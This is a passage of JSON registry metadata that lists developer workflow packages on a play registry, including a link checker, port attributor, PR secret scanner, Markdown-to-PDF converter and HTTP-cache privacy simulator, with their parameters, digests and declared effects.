removed.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["developer-tools","code-search","cleanup","refactoring"],"primary_domain":"domain-uncategorized","author":"shambhavi","version":"0.1.1","published_at":"2026-09-05T16:14:57.968381+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":1791,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["fetch_data"]},"parameters":[{"name":"owner","type":"string","required":true,"default":"null","description":"GitHub repository owner or organization"},{"name":"repo","type":"string","required":true,"default":"null","description":"GitHub repository name"},{"name":"target","type":"string","required":true,"default":"null","description":"API, feature, endpoint, config key, command, or concept being removed"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c52f87b1b4181947c268449369ba4665d6a0192b57d02b23e64ce758a85fa1b8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/shambhavi/linkcheck@0.1.1","reference":"shambhavi/linkcheck@0.1.1","uri":"https://play.modiqo.ai/shambhavi/linkcheck@0.1.1","manifest_uri":"https://play.modiqo.ai/shambhavi/linkcheck@0.1.1","name":"linkcheck","title":"linkcheck","description":"Checks a list of URLs and reports reachable, broken, redirected, and HTTP status results.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["developer-tools","links","validation","debugging"],"primary_domain":"domain-uncategorized","author":"Shambhavi","version":"0.1.1","published_at":"2026-09-05T16:14:47.479819+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":2687,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["check_links"]},"parameters":[{"name":"urls","type":"string","required":true,"description":"Path to a text file containing one URL per line."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:76fac3a50a2b011b0445b21fd1b5f9b0e51136c05393bd2b7c69b44df61e670f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mohitp/similar-problems@0.1.1","reference":"mohitp/similar-problems@0.1.1","uri":"https://play.modiqo.ai/mohitp/similar-problems@0.1.1","manifest_uri":"https://play.modiqo.ai/mohitp/similar-problems@0.1.1","name":"similar-problems","title":"similar-problems","description":"Suggests similar LeetCode problems with shared-tag context. Uses LeetCode's native similarity ranking, deduplicates via local memory. Keeps a small local memory file (~/.similar-problems/memory.json) between runs to avoid repeating problems you've already been shown.","owner":{"kind":"org","slug":"mohitp"},"registry_organization":"mohitp","tags":["leetcode","problems","similar","coding-practice"],"primary_domain":"domain-uncategorized","author":"opencode","version":"0.1.1","published_at":"2026-09-05T15:13:56.721374+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4486,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["fetch_similar"]},"parameters":[{"name":"problem_slug","type":"string","required":true,"description":"LeetCode problem slug (e.g. 'two-sum', 'valid-parentheses')"},{"name":"limit","type":"string","required":false,"default":"5","description":"Max similar problems to suggest"},{"name":"memory_path","type":"string","required":false,"default":"~/.similar-problems/memory.json","description":"Path to memory file for deduplication"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4cb5c28e1967a77b6faff8b3d7f4158124c1bd9901b618a5e153bb30c13d5d4c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/snehith18/pr-preflight-sentinel@0.1.0","reference":"snehith18/pr-preflight-sentinel@0.1.0","uri":"https://play.modiqo.ai/snehith18/pr-preflight-sentinel@0.1.0","manifest_uri":"https://play.modiqo.ai/snehith18/pr-preflight-sentinel@0.1.0","name":"pr-preflight-sentinel","title":"pr-preflight-sentinel","description":"Pre-PR security, hygiene, and config sentinel with automated Pull Request drafting. Scans your active git diff for high-confidence leaked credentials, leftover debug statements (console.log, debugger, print), and environment variable drift (.env vs .env.example). Calculates blast radius, assigns a risk tier, and generates a formatted, ready-to-paste GitHub PR description with reviewer checklist. A parallel 4-stage dependency DAG with provable dataflow, zero external API dependencies, and graceful degradation across all repository types.","owner":{"kind":"user","slug":"snehith18"},"registry_organization":"snehith18","tags":["developer-workflow","security-sentinel","code-review","git"],"primary_domain":"domain-uncategorized","author":"snehith18","version":"0.1.0","published_at":"2026-09-05T14:43:41.225976+00:00","visibility":"public","quality_score":1,"size_bytes":8639,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["env_drift","debug_residue","secret_scanner","blast_radius_and_pr"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:73be59f1833e4de9102182d6babe31c53dcc43bf53e6f133722bd375a42e966f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dhruvdawar1102/port-attribution@0.1.0","reference":"dhruvdawar1102/port-attribution@0.1.0","uri":"https://play.modiqo.ai/dhruvdawar1102/port-attribution@0.1.0","manifest_uri":"https://play.modiqo.ai/dhruvdawar1102/port-attribution@0.1.0","name":"port-attribution","title":"port-attribution","description":"Answers which project is actually holding a local port. Lists every TCP listener, then attributes each one to a concrete project by its working directory, reporting PID, user, parent process, socket identity and project with the evidence and confidence behind each fact. It distinguishes one forked server from a genuine multi-project conflict, so it does not call a parent and its own child a collision. Strictly read-only: it never signals, kills or modifies a process, never elevates privileges, and reports UNKNOWN instead of guessing when a command line or start time cannot be read.","owner":{"kind":"user","slug":"dhruvdawar1102"},"registry_organization":"dhruvdawar1102","tags":["explore","port","port-conflict","address-already-in-use","which-project","lsof","process-attribution","eaddrinuse","occupied","conflict","why","causing"],"primary_domain":"domain-uncategorized","author":"Dhruvdawar11022006","version":"0.1.0","published_at":"2026-09-05T14:15:42.903981+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":9714,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["list_listeners","attribute_holders"]},"parameters":[{"name":"port","type":"integer","required":true,"description":"Local TCP port number from 1 through 65535"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4b5a5c3a60526f8c822700990eed391ac84750c20264b04f8d09e3b58913de0c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/viswesh/portable@0.1.1","reference":"viswesh/portable@0.1.1","uri":"https://play.modiqo.ai/viswesh/portable@0.1.1","manifest_uri":"https://play.modiqo.ai/viswesh/portable@0.1.1","name":"portable","title":"portable","description":"Markdown to PDF converter. Converts any Markdown file into high-quality, professional PDFs using the system headless browser without installing Pandoc, LaTeX, Go, or bundling Chromium. Zero configuration, zero external dependencies; needs only python3 and sh.","owner":{"kind":"user","slug":"viswesh"},"registry_organization":"viswesh","tags":["typescript","markdown","pdf","document","converter","publishing"],"primary_domain":"domain-uncategorized","author":"sigireddyviswesh","version":"0.1.1","published_at":"2026-09-05T13:51:57.968904+00:00","visibility":"public","quality_score":1,"size_bytes":8691,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["convert_step"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Path to markdown input file (.md)","example":"README.md"},{"name":"output","type":"string","required":false,"default":"","description":"Optional output PDF path (e.g. report.pdf)","example":"report.pdf"},{"name":"content","type":"string","required":false,"default":"","description":"Raw markdown content string to convert","example":"# Title\\n\\nHello world"},{"name":"html","type":"string","required":false,"default":"","description":"Set to true to generate HTML only without PDF","example":"true"},{"name":"out_report","type":"string","required":false,"default":"./portable-report.json","description":"Path where structured conversion JSON will be written","example":"./portable-report.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:49368c5096ce259309547c1d343b941f7f2fbabbc72881260eab77c281534a16","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/buried-instructions@0.1.1","reference":"bhanu82/buried-instructions@0.1.1","uri":"https://play.modiqo.ai/bhanu82/buried-instructions@0.1.1","manifest_uri":"https://play.modiqo.ai/bhanu82/buried-instructions@0.1.1","name":"buried-instructions","title":"buried-instructions","description":"Are your agent's orders buried where it stops reading? Every imperative rule gets a token offset; rules past the threshold are BURIED with move-up guidance. Research-grounded prompt hygiene with zero keys; needs only python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-prompt-hygiene","audience-developers","instructions","token-efficiency"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.1","published_at":"2026-09-05T13:28:55.66022+00:00","visibility":"public","quality_score":1,"size_bytes":16212,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["scan_rules"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Absolute path of the repo to audit; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"patterns","type":"string","required":false,"default":"AGENTS.md,CLAUDE.md,SKILL.md,.cursorrules","description":"Comma-separated instruction basenames (fnmatch)","example":"AGENTS.md,SKILL.md"},{"name":"bury_tokens","type":"integer","required":false,"default":"3000","description":"Token offset past which a rule counts as buried","example":"2000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c7d851d28f38adf2293ac3cc031fd55eda2df1a2278588795edd70c5a4adc4ef","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/npm-outdated-table@0.0.1","reference":"aaryanp/npm-outdated-table@0.0.1","uri":"https://play.modiqo.ai/aaryanp/npm-outdated-table@0.0.1","manifest_uri":"https://play.modiqo.ai/aaryanp/npm-outdated-table@0.0.1","name":"npm-outdated-table","title":"npm-outdated-table","description":"Finds every package.json under a directory (skips node_modules, up to two levels deep), checks each dependency's latest version on the npm registry, and renders a current-vs-latest table grouped by manifest and dependency type.","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","npm","dependencies","outdated","registry","explore","build","showing","since","playbookacademy","dep","vet","only","returned","verdict","counts","not","actual","numbers"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.1","published_at":"2026-09-05T13:18:02.854524+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5378,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["find_dependencies","fetch_latest_versions"]},"parameters":[{"name":"directory","type":"string","required":true,"description":"Absolute path to the project root to scan for package.json files"}],"execution":{"adapters":[{"id":"aaryanp/npm-registry","name":"npm-registry","version":null,"credential_status":"none"},{"id":"npm-registry","name":"npm-registry","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ddea6a272ad89d86e6d0715130cdcaa748933251e8e5597f441b02e61c461267","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":1,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":1,"fan_out":8,"for_each_steps":1,"complexity":4,"apis":[{"adapter":"npm-registry","steps":1,"methods":["get_packageName_version"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"aaryanp/npm-registry","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/cyh7789/gate-never-fires@0.1.1","reference":"cyh7789/gate-never-fires@0.1.1","uri":"https://play.modiqo.ai/cyh7789/gate-never-fires@0.1.1","manifest_uri":"https://play.modiqo.ai/cyh7789/gate-never-fires@0.1.1","name":"gate-never-fires","title":"gate-never-fires","description":"Finds the validation checks in a Python codebase that cannot fail, and says how to prove each one. A check whose expected value is computed from the thing it is checking passes for every input, and it survives review because calling the gate looks like having a gate: the code reads as a verification, the tests are green, and nothing rejects anything. This reports two kinds. DEAD is a check with no value it can reject: both sides of a comparison are the same expression, two operands are assigned the same expression under different names, a field named for an external fact is derived from another argument of the same call, or one expression is passed twice to a constructor so those two positions can never disagree. UNPINNED is a check that does run but whose reference the subject controls, so passing it proves the subject agrees with itself; recording a digest by hashing the file right there rather than carrying the digest that was recorded earlier is the common one. Every finding carries the source lines and a specific mutation to run against it, because a gate that survives having its subject changed is not a gate, and reading the code is what let it through the first time. Structural only: it parses with ast, never imports or executes what it reads, and a check that is wrong for reasons other than self-reference is outside what it can see. Read-only, no credentials, no writes.","owner":{"kind":"user","slug":"cyh7789"},"registry_organization":"cyh7789","tags":["domain-engineering","job-code-review","audience-developers","tool-python","tool-git","effect-read-only"],"primary_domain":"domain-engineering","author":"cyh7789","version":"0.1.1","published_at":"2026-09-05T12:21:21.603197+00:00","visibility":"public","quality_score":1,"size_bytes":16350,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":4,"names":["verdict","scan_calls","collect_files","scan_compares"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Path to the git repository to scan. Steps run in the play workspace rather than your shell, so pass the path you mean rather than a relative one. Leave it out and the run scans the bundled sample, which carries one of every shape this play reports next to the honest version of each.","example":"/Users/me/src/my-project"},{"name":"base","type":"string","required":false,"default":"main","description":"Scan what differs from this branch, which is where a gate was just written. A branch with nothing of its own falls back to the whole tree and says so. Pass an empty string to scan the whole tree outright.","example":"develop"},{"name":"max_files","type":"integer","required":false,"default":"400","description":"How many Python files to parse. A run that stops here says so rather than reporting a clean scan of the files it never opened.","example":"2000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f38cef621dfb9b6a1b2a7e3acadef4dc06062dc2a23a9827930dde41016e422a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/frag2win/synaptic-pruner@1.2.0","reference":"frag2win/synaptic-pruner@1.2.0","uri":"https://play.modiqo.ai/frag2win/synaptic-pruner@1.2.0","manifest_uri":"https://play.modiqo.ai/frag2win/synaptic-pruner@1.2.0","name":"synaptic-pruner","title":"synaptic-pruner","description":"Transform chaotic terminal logs into clean, declarative infrastructure plays. A six-stage pipeline that ingests raw terminal output, prunes noise via causal DAG analysis, and synthesizes reproducible Rote Plays using Gemini LLM. Source and documentation: https://github.com/frag2win/Synaptic-Pruner","owner":{"kind":"user","slug":"frag2win"},"registry_organization":"frag2win","tags":[],"primary_domain":"domain-uncategorized","author":"frag2win","version":"1.2.0","published_at":"2026-09-05T08:13:54.338958+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":1560,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3fb7d17475d729eedc19c9c24140c7d0efa3ebbbcef544f080d312fea3c2ce05","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/himanshu-jha/http-cache-behavior-simulator@0.1.1","reference":"himanshu-jha/http-cache-behavior-simulator@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/http-cache-behavior-simulator@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/http-cache-behavior-simulator@0.1.1","name":"http-cache-behavior-simulator","title":"http-cache-behavior-simulator","description":"Replays a deterministic, shared HTTP-cache timeline for at least two principals and exposes privacy leaks that header checklists miss. Independent probes validate the scenario, simulate freshness and hit selection, test cache-key partitioning, and interpret Cache-Control, Vary, Authorization and Set-Cookie interactions; the join reports a cross-principal body witness when one exists. It is read-only and network-free: callers supply the miss responses, so the same scenario produces the same result. The model covers common shared-cache behavior but does not claim every RFC extension, CDN override, revalidation race, or vendor-specific cache-key rule.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-security","domain-web-platform","http-cache","cache-poisoning","privacy","deterministic-simulation"],"primary_domain":"domain-web-platform","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T07:32:36.194237+00:00","visibility":"public","quality_score":1,"size_bytes":10505,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["assess_cache_behavior","interpret_cache_directives","audit_cache_key_partitioning","replay_shared_cache_timeline","validate_two_principal_scenario"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"JSON timeline with two or more principals and origin responses for misses. Empty uses the packaged demo; a missing or malformed custom file is fatal.","example":"./cache-scenario.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e227fd26ef8f52cd07055a219bf53aab008fa2fed976558b2d9786f404c2a747","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lakshay/git-branch-ship-check@0.2.0","reference":"lakshay/git-branch-ship-check@0.2.0","uri":"https://play.modiqo.ai/lakshay/git-branch-ship-check@0.2.0","manifest_uri":"https://play.modiqo.ai/lakshay/git-branch-ship-check@0.2.0","name":"git-branch-ship-check","title":"git-branch-ship-check","description":"Speed up every PR: one command tells you GO, GO WITH WATCH, or NO-GO before review starts. Stops thrash from uncommitted files, behind-base branches, secret/env/migration/lockfile risks, and TODO/FIXME left in the diff. How to use: (1) rote play inspect play.modiqo.ai/lakshay/git-branch-ship-check (2) rote play run play.modiqo.ai/lakshay/git-branch-ship-check root=/path/to/repo base=main Read-only local git. No credentials. Needs git + python3.","owner":{"kind":"user","slug":"lakshay"},"registry_organization":"lakshay","tags":["tool-git","effect-read-only","job-merge-readiness","build-ship-chore","productivity"],"primary_domain":"domain-uncategorized","author":"lakshay","version":"0.2.0","published_at":"2026-09-05T06:16:15.999441+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":5316,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["divergence","assess_ship","diff_markers","changed_files","validate_repo","worktree_status"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the git repo you are about to open a PR from (example /Users/you/my-app)","example":"/Users/you/your-repo"},{"name":"base","type":"string","required":false,"default":"main","description":"Target branch for the PR, usually main or master (no origin/ prefix)","example":"main"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:614747212cac667ba27d0c581c37ad76119bbffefdc0683354dfa7df0895799a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"git","kind":"tool","source":"declared","count":3},{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/aaryanp/linear-tickets-from-stale-github-issues@0.0.1","reference":"aaryanp/linear-tickets-from-stale-github-issues@0.0.1","uri":"https://play.modiqo.ai/aaryanp/linear-tickets-from-stale-github-issues@0.0.1","manifest_uri":"https://play.modiqo.ai/aaryanp/linear-tickets-from-stale-github-issues@0.0.1","name":"linear-tickets-from-stale-github-issues","title":"linear-tickets-from-stale-github-issues","description":"List open GitHub issues stale beyond a threshold and create a linked Linear ticket for each in a target team.","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","github","linear","tickets","stale-issues","issue-sync"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.1","published_at":"2026-09-05T05:56:27.698491+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":4395,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["auth_github","auth_linear","compute_cutoff","list_open_issues","filter_stale_issues","create_linear_ticket"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"staleness_days","type":"integer","required":false,"default":"30","description":"Open issues with no activity for at least this many days are considered stale"},{"name":"team_id","type":"string","required":true,"description":"Linear team ID (UUID) new tickets are created under"}],"execution":{"adapters":[{"id":"aaryanp/github","name":"github","version":null,"credential_status":"required"},{"id":"aaryanp/linear","name":"linear","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"},{"id":"linear","name":"linear","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":["create_linear_ticket"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:d54b5ffd49205617ab764eb70fa55bc5a97bad25cdcfb0ac1faf9ecf3d075247","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":2,"shell":2,"browser":0,"auth":2,"other":0},"distinct_kinds":2,"depth":4,"width":3,"fan_out":1,"for_each_steps":1,"complexity":12,"apis":[{"adapter":"github","steps":2,"methods":["issues/list-for-repo"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"aaryanp/github","version":"0.0.2","protocol":null,"credentials":[]},{"adapter":"linear","steps":2,"methods":["mutation/issueCreate"],"display_name":"linear","host":"api.linear.app/graphql","kind":"graphql","tools":544,"fingerprint":"mcp_2QCZfzmdq7v7vVqxvLnLyetb4t2h","source":"aaryanp/linear","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":["create_linear_ticket"],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":2,"tools":1652},"cost":{"api_tokens":19427,"context_tokens":2313,"exploration_ms":5597,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/himanshu-jha/time-series-feature-availability@0.1.1","reference":"himanshu-jha/time-series-feature-availability@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/time-series-feature-availability@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/time-series-feature-availability@0.1.1","name":"time-series-feature-availability","title":"time-series-feature-availability","description":"Checks whether each model feature in the supplied records was available at prediction time and whether labels were observed after prediction with at least the declared minimum lag. Independent probes audit as-of cutoffs, source-event watermarks, label horizons, and join multiplicity or window leakage; a synthesis step joins their evidence without training a model or changing data.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-ml-engineers","domain-ml-governance","time-series","feature-leakage","point-in-time","python"],"primary_domain":"domain-ml-governance","author":"himanshu748","version":"0.1.1","published_at":"2026-09-05T05:14:55.250087+00:00","visibility":"public","quality_score":1,"size_bytes":12397,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["detect_join_leakage","audit_feature_cutoffs","trace_source_watermarks","synthesize_temporal_proof","verify_label_observation_lag"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Local input path, absolute or relative to the invocation directory. Pass input=path for your evidence, or omit it to analyze the bundled adversarial demo. Analysis is deterministic, read-only and network-free, using only the Python standard 